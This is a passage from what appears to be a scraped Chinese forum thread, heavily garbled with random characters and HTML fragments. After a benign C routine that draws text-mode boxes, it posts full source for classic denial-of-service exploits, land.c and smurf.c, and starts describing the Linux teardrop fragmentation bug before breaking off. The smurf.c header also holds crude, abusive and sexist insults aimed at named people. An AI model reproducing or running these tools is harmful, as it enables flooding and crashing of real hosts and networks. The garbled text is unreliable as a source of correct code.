5 ~  Z- m3 ^% `*/</FONT></P><><FONT color=#009900>main()! C( A8 `# Q5 S* x) y; D
{& B7 S. i7 {3 l! X+ B" n' V( }- N
clrscr();
, a  B. b7 l! d' xbox(1,1,23,79);% W# m' x0 ~  i7 C0 M& |
box(2,2,21,77);) S" Q1 R0 h$ c$ D
box(3,3,19,75);
7 k, k, q8 M- u' G/ w; r7 Obox(4,4,17,73);
0 a5 ~' S* u& j/ Vbox(5,5,15,71);" M9 N( h0 S" d. M; g/ M
box(6,6,13,69);9 v' Z1 x7 h: F& [1 L
box(7,7,11,67);. H/ k0 @( W* S6 P3 B
box(8,8,9,65);* ?' \% q! D# q1 \2 B! D9 p* Z. q
box(9,9,7,63);
6 h( V7 Z0 e  E7 b; r6 n$ O( pbox(10,10,5,61);( _) h1 ?' E/ R1 z; H0 Z
box(11,11,3,59);
, l* K2 E" T9 l6 g+ {, wbox(12,12,1,57);
7 k! g: M! S1 @+ K# B- \poscur(24,1);1 E/ V% F$ i; D
}</FONT></P><><FONT color=#009900>/************************************************************3 d" t2 g) N2 n6 t( D
* BOX *4 {0 A# P# P: f% C% F; E# v
*----------------------------------------------------------*
; ?- F& G1 {% Q; {. u* Written by: Jeff Ebert 7/01/87 *. r( m/ b; B; q/ Z: M" G
* Modified by: xxxxxxxxxx *
7 q# n1 t) m/ O8 y* *
: e1 J4 e: k# q6 v: {9 O* Please modify me! *
# l# ^/ S; [. p( X. ~" P! T* Possible Enhancements include but are not limited t *( `* ]' d. n. y7 `& W( |; W
* 1) Variable box character styles [1 line or 2] *8 k& E- B' `$ t( k7 _1 K# a0 H
* 2) Error checking *. @3 P. c9 n6 O) Y8 }8 [
* 3) Color options ** M6 _* Z5 f) l' y- R+ A) o$ ^. N
* *
$ X* L* A- @0 k: j8 _% j/ x* *
8 q( ^1 z+ ]$ |) n5 _' s5 o* This function builds a simple double frame for a menu. *
; C. ]8 Q2 e  K  x! B# _3 Z* The function is passed the parameters for the upper *& E. ]! L5 n* q7 k/ H
* left corner row, upper left corner column the height *& |. p  a& C: O2 {1 x" Z0 N+ K4 \  s
* of the frame and the width. *
3 w3 M! M+ }' X& p  A* *1 a. t. c4 q- I5 ^& d
************************************************************/0 c. J2 Y$ Q3 J8 v" {
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
7 U8 t- T# X: Y/ j#define URCOR 187
0 ^7 w3 L) k8 q#define LLCOR 200
/ u! E& U! F' O! m5 z#define LRCOR 188
$ l, N  ?# d8 `9 b. U/ \#define VBAR 186% M, f5 Z  ]" a0 k& j8 C$ m. x
#define HBAR 205
' r' p9 w7 f$ I7 P2 L#define ESC 27</FONT></P><><FONT color=#009900>
5 b; g0 b: m8 f/ ^* pbox(row, col, hgt, wdth)/ @( R- n9 h4 X
int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
, H- r! C% c' i3 Aint x, y;</FONT></P><><FONT color=#009900>poscur(row,col);
% ^/ A$ G( q+ N+ O+ mputchar(ULCOR);
3 p9 V8 n( v* m! c4 O' o  Bfor(x = col + 1; x &lt;=(col + wdth -1); x++)& o7 q) P& J7 i; M
putchar(HBAR);# m' E+ V& A/ H0 m8 @
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){2 t0 k3 ^' S  G$ ]
poscur(x,col);
$ L7 ]) o% [1 y1 x3 ?putchar(VBAR);
/ Y- j3 J. r, J. I  T1 sposcur(x,col+wdth);+ y5 o- C" \+ e# H2 t. q
putchar(VBAR);) Y8 Q, k) X" x. S
}* `) t) w# O/ V2 H$ L' j- C, h' k
poscur(x,col);
4 J" ]) e3 f+ n/ Dputchar(LLCOR);
: s) E3 ^" ~4 z& H4 B* i2 Cfor(x= col + 1; x &lt;=(col + wdth -1); x++)
- V8 Y4 L. a, k4 Aputchar(HBAR);
0 q" s$ ]8 C" H& @putchar(LRCOR);
( j3 n7 B- N% L6 \" _}</FONT></P><><FONT color=#009900>/********************************************************
9 P+ H7 ^0 G8 y, o* POSCUR *
! i/ M- `# ~: U& u*------------------------------------------------------*
7 V9 O# {& {; d* This function positions the cursor at the specified *. D) o$ }, O) F8 i3 x
* x,y coordinate. It uses the ANSI standard ESCAPE *. _. t" t5 K$ p1 R( e. v: J
* sequence to produce the desired effect. Its not the *
! n5 `5 N. }" w' a3 w3 H* fastest way to position the cursor, but perhaps the *
- ]- ~) G* [/ B7 Q  t6 H* most portable. *
/ l- O9 L4 q/ ^2 E8 P* *, w8 G4 V( ^, t2 w, D
********************************************************/0 b4 V/ H; C. X0 k2 Q
poscur(xcor,ycor)( c# N4 s/ b5 H- F" R4 F/ }1 \
int xcor,ycor;# F1 f) N! \" _, V, V8 G
{
9 Y+ _& G/ m6 P, `. Kprintf("%c[%d;%dH",ESC,xcor,ycor);
( r, u+ I1 R2 o4 ~: n% ?}</FONT></P><><FONT color=#009900>5 U) ]$ |, t# X5 O
/********************************************************
+ |" z* z; M$ h; L) D+ U3 ~, k* CLRSCR *
% O1 j) W9 v% O*------------------------------------------------------*4 H7 F1 j$ R! {6 r- s  W
* This function positions the cursor at the specified *. p: z& n! r' X7 H( P
* x,y coordinate. It uses the ANSI standard ESCAPE *$ U/ p3 o3 e$ |+ O- |0 P
* sequence to produce the desired effect. Its not the *) y% d  h, G- w* n* c- S
* fastest way to position the cursor, but perhaps the *6 j) g! U0 l; t- Z
* most portable. *+ I/ z, U* Y9 _# Q& {1 q
* *
. p5 Y# J6 |. A6 z********************************************************/
! Q8 x7 Z' l' ^; @0 `clrscr()
4 @$ {+ b& K4 D% m5 [3 j{
. i! z0 O1 n& a9 z3 uprintf("%c[2J",ESC);
1 _1 _2 v) D8 c4 z; x: g}</FONT>
  Z9 w) E4 s( R7 x</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
; g$ L1 o( K- X: |这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自5 ^3 s$ {' f' \; |$ i5 L6 f, }
己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>
' g) g9 X; ?1 |! o# D7 u<FONT color=#009900>/* land.c by m3lt, FLC# C" G, D" p& `' `/ X" D
crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>% [+ y/ {4 _/ _- E$ Y# N# P
#include <NETDB.H>
2 r3 j+ C7 _$ d, P* S# D4 h#include <ARPA inet.h>2 j$ ]% z6 `- Q9 H" N$ q$ U
#include <NETINET in.h>
  Q4 Q, W5 }4 }3 Y( {8 |#include <SYS types.h>
3 {3 `+ L+ Z' S( \. y; j#include <SYS socket.h>  U* c6 j" M& K" o# ]6 D5 W
#include <NETINET ip.h>
' l3 O* t; M' m6 |: m5 s$ b' @#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
1 l9 M7 P- E" T  C! S5 y+ Zstruct pseudohdr
/ V/ f# {8 ]% y7 m2 _{4 a/ t  Q, R4 x1 f
struct in_addr saddr;; h) @/ n& i0 I, ]# g5 n% R
struct in_addr daddr;
  D2 s7 ?& a/ t0 H* g4 e: Xu_char zero;
. U+ q6 [' V5 m# @& Q/ m8 a+ gu_char protocol;
- \. i* M* J: y8 h) W$ ru_short length;
' _1 L6 z& n3 Y. Dstruct tcphdr tcpheader;! _$ D6 H# W. }$ D3 G- u
};</FONT></P><><FONT color=#009900>//计算IP校验和
" Q- \. y- a. x) @u_short checksum(u_short * data,u_short length)
' U5 b. ]3 {# ~8 F. z$ b{
- T5 i8 U+ h( w0 n# L: x' N2 Gregister long value;" D3 M2 ?: Q, Q
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
" Z, z% ?8 \% ^6 C6 xvalue+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
6 ~* M! b; }2 z4 m- F6 ]value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);( u& D1 h$ ~( v7 T7 u; B
}</FONT></P><><FONT color=#009900>- ~. |; |/ i8 f) Q" W
int main(int argc,char * * argv)9 p# Q' L/ Z* }" s/ L! V  E6 c
{1 O; u5 F/ S: j1 F- b* c
struct sockaddr_in sin;
. P: G  l/ X. C/ ]struct hostent * hoste;) @) y, n6 y( G5 Q
int sock;* P( G  t2 K# R$ H& n2 x
char buffer[40];, a. k% f9 L1 C1 t( K& [- z9 t
struct iphdr * ipheader=(struct iphdr *) buffer;
' v; ~: J- q# r! Qstruct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));+ J, ~  Q6 V5 P2 a/ [, `
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)& N1 L! W. f( g2 q! o* R
{
) g# [; Z% K# v& o" |3 x0 T( nfprintf(stderr,"usage: %s IP port\n",argv[0]);9 J/ Y+ y& g5 @- g5 p2 Q; B3 E
return(-1);
5 }1 U: Z% @# b( f}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
* m! i+ @! q3 g2 M4 u. k+ `sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)  r( p0 M7 T. b/ p8 ^: V1 j9 k
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);4 O& @# U* `3 f$ k! ^
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)" A# d% X' }: M' K
{' S! }. X; p8 p. y
fprintf(stderr,"unknown host %s\n",argv[1]);  N) K/ w  D/ ^6 e' U2 X9 |7 W
return(-1);  ^2 w" Y6 S( @( D/ I+ x
}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
0 r2 j7 v% U2 Y; _# \{
8 x2 D" {. K' F% g1 o( afprintf(stderr,"unknown port %s\n",argv[2]);
9 V) Y8 l; W4 h6 L! G* j' ereturn(-1);
. c5 g/ m; |, v: V: N' ?}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限* K5 |1 B1 [% H2 J
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)2 G0 _" k" [* V# Q; S1 [0 K
{. Y7 f2 ~; i# G1 t" Y. p
fprintf(stderr,"couldn't allocate raw socket\n");
7 i7 e* Z( A6 q4 M( L! xreturn(-1);
+ Q& ]0 |- m) H}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));+ E8 c) X& H) K
ipheader-&gt;version=4;
! e8 P- g0 D0 _/ b9 z8 \ipheader-&gt;ihl=sizeof(struct iphdr)/4;( I  _: t9 w4 H$ w
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));; k; m! r3 f7 M* W6 N1 W* `5 ^
ipheader-&gt;id=htons(0xF1C);
, m5 x  w& b1 g3 P2 Z) d$ vipheader-&gt;ttl=255;, I( J2 s6 A8 r6 s# A% x8 M
ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
6 g- ~2 c% z* J1 H; O4 fipheader-&gt;saddr=sin.sin_addr.s_addr;) D) w. H) a( L0 r$ T9 x& ^
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同: Y4 m+ h7 m/ S9 _: q, P8 v
tcpheader-&gt;th_sport=sin.sin_port;
# W/ P* H: Y# }0 u! F8 d$ ctcpheader-&gt;th_dport=sin.sin_port;
. w2 t  b0 H& ?2 Ttcpheader-&gt;th_seq=htonl(0xF1C);
' C1 H; X* I8 e# T  m" j. Jtcpheader-&gt;th_flags=TH_SYN;; {- |+ E, K2 g* Q- X
tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
# i6 V* m  \" n' I2 }; utcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));" N9 Q( m' h. T& x0 D
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;0 P6 s/ g$ |" `) o
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;6 d. H- I( z- T
pseudoheader.protocol=6;
. E/ g; T% o# W5 epseudoheader.length=htons(sizeof(struct tcphdr));2 ]) Z! T6 c. l4 [/ o$ _
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
! w3 f  d) o9 H1 p' Etcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
9 Y0 m/ v2 h& [. U4 A0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)4 s/ g# ], C$ A# ^- g+ T0 L* v
{
$ X. i; S: b" h" |3 i9 n9 gfprintf(stderr,"couldn't send packet\n");' ]2 s5 Y$ \4 l; O. g
return(-1);
3 t# S# p' m/ X2 R: Q' ?}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);) v$ l3 z. K& U0 {; s( }
return(0);
7 W) m/ v3 h  r5 T0 f}</FONT></P><>
6 z! I7 i, c0 e; O+ `! Z2 Smurf3 p$ S' w/ E; I0 [! s8 A4 A
smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数- _3 i- Z8 R, w5 Z, |/ g
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包
8 x* `6 P1 ?! _" d$ D3 b的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些( h9 v, ?2 o' W3 ]9 d4 K6 b8 H
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
7 V+ ]; D, m' l% O  q% h) F( J" a" t(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变* B4 A4 N/ M) \7 q% v; {
成不可能(没有WINS服务器时)。</P><P>/*
' c5 O& l3 p! }* d+ B2 r' _  M*
3 Q) G: L/ ]( `% g( i( @* `* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $5 E  M6 ^; P* G
*% c7 z! E" x) t
* spoofs icmp packets from a host to various broadcast addresses resulting( A& G* T8 }# q* Q  E6 q5 |
* in multiple replies to that host from a single packet.
( v) l! m  l' Z% X+ W6 I*
+ x5 y, V/ T) F2 `* mad head t& L: _& o0 ]6 Y3 P: p8 K
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,# p  X1 Q4 a+ R! S% m4 T
* MissSatan for swallowing, napster for pimping my sister, the guy that) R/ |% p; Z6 [+ B
* invented vaseline, fyber for trying, knowy, old school #havok, kain1 Y0 Z7 J+ K* b- L# F, y  G" E  I
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
9 A8 D4 J; {& ^* have missed (you know who you are).
( W" ^/ r5 J, I: l. Z# |  B*7 r. L$ J! c4 y1 v- ]' G
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy0 p, N  w5 F* S* }
* thing he is (he's -almost- as stubborn as me, still i managed to pick up6 G. @& J+ c) J5 |0 F
* half the cheque)., R) @- X4 Q. R- ]
*
. [+ h- z/ L% @. x4 n: R1 b6 Y* and a special hi to Todd, face it dude, you're fucking awesome.
7 X9 w; m6 }5 H* J' i' O' h*7 X* S" J" E7 |
* mad anal t
9 [& x0 X, _! F/ x2 @' W+ {$ D* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
  J' P( L4 Z4 @' W8 U* b" C* because they plain suck, Rolex for being a twit, everyone that& t$ Z' v; H  `8 X
* trades warez, Caren for being a lesbian hoe, AcidKill for being her
8 k2 V7 ^$ ~7 J0 q7 B* partner, #cha0s, sedriss for having an ego in inverse proportion to
6 ^0 V! q9 Y2 @8 k2 U% l% a0 `* his penis and anyone that can't pee standing up -- you don't know what
# A: E" j, i  h* your missing out on.& v6 i5 N: q+ e) h' Y' v- d% T
*
4 a  F* T5 T$ G$ _5 w* and anyone thats ripped my code (diff smurf.c axcast.c is rather
$ T5 Y+ v, \! r9 V+ [2 [7 [* interesting).% ~1 ^7 p  i* H" S2 t% K- J
*
5 k# \2 y, v* D$ h& W9 O* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill2 u; V: s+ Y& s% U* Q
* Robbins for trying to steal my girlfriend. Not only did you show me+ s+ G' a# Z: c' C
* no respect but you're a manipulating prick who tried to take away the/ P7 {; T+ r2 |( _! h: j
* most important thing in the world to me with no guilt whatsoever, and
7 x$ U9 x8 n% Y0 T+ @7 L# f* for that I wish you nothing but pain. Die." a; R. |$ `% {- n
*2 z+ Q8 h  [8 k3 `! F: M
* disclaimer:
' K4 ]: t: f$ C0 U0 [' f* w0 Q. W9 H1 X* I cannot and will not be held responsible nor legally bound for the
9 n1 h& J- v4 Y1 r" r7 K* malicious activities of individuals who come into possession of this8 x7 v' p4 O8 Q+ j
* program and I refuse to provide help or support of any kind and do NOT( p% }* b3 o, o# i3 b% ~7 U% D/ c
* condone use of this program to deny service to anyone or any machine.
- K9 S& x; c" W4 P. J: N- r* This is for educational use only. Please Don't abuse this.
! L7 S1 M* w* A*
, _0 ^2 D+ w+ F7 e9 o* Well, i really, really, hate this code, but yet here I am creating another
; H2 `/ \  d$ r# C0 i6 s* disgusting version of it. Odd, indeed. So why did I write it? Well, I,, [" N8 S0 A/ ~6 z+ u
* like most programmers don't like seeing bugs in their code. I saw a few5 [) G" {0 g6 o% e9 U5 d
* things that should have been done better or needed fixing so I fixed
* l+ c, G, F" ?1 V7 }4 X* them. -shrug-, programming for me as always seemed to take the pain away
5 E" P. \6 r6 d3 R1 x* ...
& f! F( r) ^& R; P. K! {# M*5 X6 j6 k- I2 I* c- [! n* p
*) Q) V5 _+ v3 @  z: v; r
*/</P><P>#include <SIGNAL.H># g% H! r. ?9 b$ S# a
#include <STDIO.H>
* X. P' G7 W8 ~' a; `#include <STDLIB.H>
3 x% a* Q+ A2 Q4 @" h% a: V2 u#include <SYS socket.h>
! U$ Z$ r; ^- z#include <SYS types.h>! `' S( s" ~/ `% N+ K
#include <NETINET in.h>/ k* x3 s/ R0 m4 G) E$ U
#include <NETINET ip.h>3 f2 G* m, N0 n, n2 e
#include <NETINET ip_icmp.h>" a" X5 X) R# `0 W* x) i+ n  L
#include <NETDB.H>
1 O; M" p$ _3 o3 i+ r' l3 h#include <CTYPE.H>
- H' ?: I6 o( ]6 n, f  a8 ^#include <ARPA inet.h>
; ]8 E: K  X* u. g# p* D#include <UNISTD.H>$ _5 P% n" a  B, |6 W/ l# R8 b& P
#include <STRING.H></P><P>void banner(void);$ S. v7 k  N+ P# u* a# Q! V/ Z
void usage(char *);
% K1 N2 x$ |: B- `6 h: {void smurf(int, struct sockaddr_in, u_long, int);; B6 B- M( g" w0 _$ V6 G' o* c$ v
void ctrlc(int);  n2 d% k& Y( f1 C  j2 ], Z
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */) ~( ~! j4 U: n* o# Y; j+ h) `) r
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])2 \- ]  J: @4 J
{
0 l5 ]0 `& t5 X8 `1 hstruct sockaddr_in sin;
$ j7 N- q3 y* t$ O1 e9 ]struct hostent *he;
# s) `. b  ?4 i5 q7 O# ^FILE *bcastfile;1 ^1 e4 Y! Y6 `4 u* K
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
: u. L5 n& N- a% ?* t. \) w3 Rchar buf[32], **bcastaddr = malloc(8192);</P><P>banner();
3 N/ D+ U* I% a2 ^1 zsignal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
9 p4 b. c: k# |1 W( P# a. pperror("resolving source host");
8 ]( C" b, P  E  dexit(-1);
" B% a( V; e1 o. X. [% l6 n* |6 x. l, T}7 `% }: y/ s% m; L( Q$ C  @) s
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);) ]: s8 `, T+ n6 R8 O
sin.sin_family = AF_INET;! m& t; O& I0 c# w4 |
sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);2 `# {  _# |$ a) @
delay = atoi(argv[4]);/ h! K# L) A6 x9 s" I, Q$ `4 [+ `
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {
& N8 M$ j8 R" fperror("opening bcast file");1 R. d8 x5 C% i0 y
exit(-1);8 U  @$ p+ n- q( h7 y, b1 j
}# U8 I% L6 s5 y" `* [1 i  h% D
x = 0;- ?$ R4 |+ g+ u. @
while (!feof(bcastfile)) {5 V+ |1 h6 n. H, ^2 Y( S; w4 A
fgets(buf, 32, bcastfile);
! V: G6 Q9 A$ j3 M; g" X5 V9 Lif (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;) w1 r  R3 T' Z
for (i = 0; i &lt; strlen(buf); i++)% q6 S- o1 l  p5 |: [
if (buf == '\n') buf = '\0';
, f- h+ [6 Y4 m% P/ q- R2 Nbcastaddr[x] = malloc(32);  J& n- c3 o0 G+ a
strcpy(bcastaddr[x], buf);
( p, J+ T/ m9 s) B) U9 G* ?x++;
( H$ r. c8 i# w4 o}
3 s" a" v# Z6 D8 z& Cbcastaddr[x] = 0x0;
/ v1 T9 @5 k$ M- i* U6 n$ l, S! yfclose(bcastfile);</P><P>if (x == 0) {
# D" j9 D* V# f' ~, D) e% S3 Ufprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);$ T* T+ x( J/ A' S- n6 t5 t0 S8 j
exit(-1);, i" c; d) M/ x9 O" D
}
" `& i& ]- F7 b% V8 n0 qif (pktsize &gt; 1024) {
9 Y. w# J- u1 z+ X% f( J7 l/ `% Sfprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");9 ~, H  `- `5 C( C
exit(-1);
9 d! H  G7 R5 C/ @: V}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {! F: C, \. W, B7 e
perror("getting socket");
9 D/ v% r* h+ M8 s# |$ R9 u# ^exit(-1);" l% j, B% s. j) ?5 H7 l) _- T
}: i: X) ]9 ~" I/ x; k% v0 A& i* E
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
' _& w6 o+ C$ t4 P& Yif (!(i % 25)) { printf("."); fflush(stdout); }
/ v' y; C2 e6 d! W2 ?% X& x; G. Jsmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);. D6 n$ f& S* R  F7 O' Z# N
cycle++;  Z/ Z/ g/ [& a8 k* w! K
if (bcastaddr[cycle] == 0x0) cycle = 0;9 c, H6 s: k, ]' y4 N
usleep(delay);; P1 L( m0 I2 h- S& \. R7 `
}; b9 ~9 p" s/ U. j4 K
puts("\n\n");
; x% l/ J# A! `" Y* \7 l+ F! `/ areturn 0;
/ u3 T  x9 ^5 [& A( R' b}</P><P>void banner (void)
' w) B) c4 C$ b  m{
. U5 }1 e! x6 F8 W- S- q4 sputs("\nsmurf.c v4.0 by TFreak\n");+ H. ^% y" N, Q& i& p& a' U& S9 E
}</P><P>void usage (char *prog)+ m" ?  `: X. {$ k  w# a# _
{
1 n/ R, a2 w* f( ]3 rfprintf(stderr, "usage: %s <TARGET><BCAST file>"% k( C+ B7 S0 b" R, R2 Z
"<NUM packets> <PACKET delay><PACKET size>\n\n"
9 @' d$ j9 C- E( j; ^6 `: r! {"target = address to hit\n"
5 r# m8 o7 T% _# i7 b! q$ L8 j1 u  q"bcast file = file to read broadcast addresses from\n"5 r* W! m8 ], v* v  ^4 j) K
"num packets = number of packets to send (0 = flood)\n": S5 u2 ~6 b& p1 G9 ]# F
"packet delay = wait between each packet (in ms)\n"
% S: s) [, g% L! K" |"packet size = size of packet (&lt; 1024)\n\n", prog);* f4 W2 |' Z6 `: O
exit(-1);; R6 t$ s6 I+ Z1 ?, o+ t% C
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize); J+ O4 [' B: z2 C, x* E
{' P7 E8 V# w4 `8 {$ P$ i' i
struct iphdr *ip;
& \2 [) q: _6 A9 fstruct icmphdr *icmp;
! f! J! h9 B4 Q% G( c8 l% Y/ }4 [char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);& `/ |9 b% a! A0 Z" ~4 p& l
ip = (struct iphdr *)packet;2 }6 q, T+ ?0 c* U! G2 A9 {
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
5 x+ E5 t& b8 P' gip-&gt;ihl = 5;
* a; S" U/ }! \. [; E- Wip-&gt;version = 4;) y) U( G6 j# m# a* K5 M
ip-&gt;ttl = 255;
6 L6 ^0 _7 F4 F3 \" O  @+ ]ip-&gt;tos = 0;
7 h: a% ?, u; l/ _/ ]3 T% u# Yip-&gt;frag_off = 0;& g) T' l$ [; y# A" N0 y) L
ip-&gt;protocol = IPPROTO_ICMP;7 F. `  B/ c1 @7 T8 @4 W! p: d" V& j
ip-&gt;saddr = sin.sin_addr.s_addr;2 {6 ], ?* j& k
ip-&gt;daddr = dest;7 s$ Q) J/ o2 [
ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));: X' R9 p/ x3 q- q3 p  P
icmp-&gt;type = 8;/ c; G. p# J9 ]) w* \
icmp-&gt;code = 0;
" ~$ T- J. n3 O" A# L. Micmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,& S$ z. v5 N2 p" j" C( D
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */: u; O0 e1 x, E  w5 G: [
}</P><P>void ctrlc (int ignored)
0 j; K- o  \8 y7 x* m0 N1 `{
+ R4 V+ m) Z5 X1 f* m) E+ d* dputs("\nDone!\n");* I( }1 H0 c8 S
exit(1);
# B5 j) g" r- y3 O" S& k6 J}</P><P>unsigned short in_chksum (u_short *addr, int len)
- ]. ~8 u1 |2 o4 {. |{7 \* Y$ b1 H# w4 _  \* q
register int nleft = len;
) y8 e8 x/ T* Z! Hregister int sum = 0;) l+ ^0 L: p& m/ g
u_short answer = 0;</P><P>while (nleft &gt; 1) {* ~& _5 z4 A2 O2 k. p. ]
sum += *addr++;: w6 u9 h- f0 Q( f
nleft -= 2;
, M7 L$ y9 s* p4 C3 ?  a" j! W7 ]* A}</P><P>if (nleft == 1) {
; |/ J( y2 r7 F( B' n) t& i' R! Q*(u_char *)(&amp;answer) = *(u_char *)addr;+ {; j8 k8 S% f8 L8 `8 E- U( l  Z+ x
sum += answer;* x0 L1 Z& s9 z! |9 M% a% Z
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);  `& a; Q7 L$ K( {2 U
sum += (sum &gt;&gt; 16);- n7 F' i3 W+ D9 V8 u
answer = ~sum;
1 A5 o2 \8 q8 E* R, lreturn(answer);# j  |5 e$ d: ?9 `( }+ O: o4 Y2 P  b/ r
}</P><P>
% ?4 v) Y0 P' {$ ^% M  f3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
3 w7 _/ ~+ _& R' Y7 efp = qp-&gt;fragments;! P5 K; A2 C5 v  c. G% R
while(fp != NULL)
/ Z  X9 `  v+ w{
4 ^7 l: l' D3 E1 {- C. H) G9 Z$ [: fif(count+fp-&gt;len &gt; skb-&gt;len), z. R! a  y1 K6 _+ ]
{1 ~8 T5 W6 R0 s5 c4 [& Y) u
error_to_big;
% N, ], c: k7 f3 e}+ x6 l2 V" h8 T& ]* x; u5 o' r1 Y8 K
memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);# p8 U( ^# _  L1 ?! A
count += fp-&gt;len;8 x# y; t2 \5 Y0 z! m: Q" X
fp = fp-&gt;next;
8 @# f' S- U9 H8 g}# O) r. y( |- z& D* C
这里只检查了长度过大的情况,而没有考虑长度过小的情况,
+ f7 a- Z8 |( Y; G' r3 X如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:1 O, r0 o( r+ t/ e
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)
3 {- I1 X: A0 P# J是这样处理的:
* @. {% D7 x: T$ O4 ]& aif (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)! z+ ?, l- a& q/ s; @* ~7 r
{6 d1 ~9 ~. @( s4 t
